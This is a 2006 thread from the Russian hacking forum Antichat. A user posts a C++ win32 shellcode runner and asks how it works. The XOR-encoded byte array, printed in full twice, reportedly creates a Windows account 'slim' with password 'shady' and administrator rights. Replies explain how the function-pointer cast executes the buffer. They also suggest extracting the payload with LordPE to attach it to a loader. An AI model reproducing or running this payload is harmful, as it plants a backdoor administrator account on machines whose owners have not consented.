ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Объясните работу кода. C++ под win32
  #1  
Старый 04.01.2006, 22:59
Аватар для TRОJAN
TRОJAN
Новичок
Регистрация: 12.12.2004
Сообщений: 6
Провел на форуме:
5617

Репутация: 0
По умолчанию Объясните работу кода. C++ под win32

PHP код:
#include <stdio.h>

unsigned char data[] = 
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB"
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73"
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5"
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E"
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C"
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE"
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5"
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C"
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17"
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17"
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8"
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17"
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79"
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64"
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65"
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E"
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67"
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7"
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61"
;



int main()
{
    
void (*shell)();
    *(
int *)&shell = (int)data;
    
shell();

Чет я не пойму как работает этот кусок кода, в частноси *(int *)&shell = (int)data;

Он создает юзера slim и пароль shady с правами админа под вин32

И как можно прочитать(!) data
 
Ответить с цитированием

  #2  
Старый 05.01.2006, 13:08
Аватар для Deem3n®
Deem3n®
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
Провел на форуме:
3730496

Репутация: 519
По умолчанию

вообще-то в этом деле я нуб, но попробую обьяснить:
Код:
unsigned char data[] =  
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB" 
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73" 
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5" 
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E" 
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C" 
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE" 
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5" 
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C" 
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" 
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17" 
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17" 
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8" 
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17" 
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79" 
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64" 
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65" 
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E" 
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67" 
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7" 
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61";
это машинный код, тоесть создается буфер data содержащий машинный код (который создает юзера slim и пароль shady с правами админа - если тебе верить)

Код:
void (*shell)(); 
*(int *)&shell = (int)data;
создается функция shell стартовый адрес которой содержится в машинном коде data

Код:
shell();
фактически это выполнение машинного кода который содержится в data
 
Ответить с цитированием

  #3  
Старый 06.01.2006, 23:32
Аватар для TRОJAN
TRОJAN
Новичок
Регистрация: 12.12.2004
Сообщений: 6
Провел на форуме:
5617

Репутация: 0
По умолчанию

Хм... а как можно этот код перегнать скажем в АСМ или т.п.?
 
Ответить с цитированием

  #4  
Старый 07.01.2006, 03:02
Аватар для ProTeuS
ProTeuS
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592

Репутация: 2175


Отправить сообщение для ProTeuS с помощью ICQ
По умолчанию

компилируешь программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняешь содержащую его секцию данных. дальше можешь ее "прикру4ивать" куда нужно делая загруз4ик...хотя в данном слу4ае не вижу в єтом смысла...

а по поводу перевода в асм или т.п.: по4итай
The Complete Pentium Instruction Set Table
(32 Bit Addressing Mode Only)
by Sang Cho
 
Ответить с цитированием

  #5  
Старый 28.01.2006, 20:25
Аватар для sn0w
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

кстати внимание при самопальном написании подобной вещи стоит уделять соглашению о вызовах по умолчанию (calling convention (stdcall/cdecl)) иначе можно уехать в рантайм изза стека))
__________________


snow white world wide
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос про флуд в форумах, посредством программы Inet Crack Vadok Форумы 6 20.02.2008 21:27
Секреты Gsm КероСиН Сотовый фрикинг 17 30.08.2007 21:01
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
Внедрение Sql кода с завязанными глазами, часть 2 k00p3r Чужие Статьи 0 12.06.2005 20:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ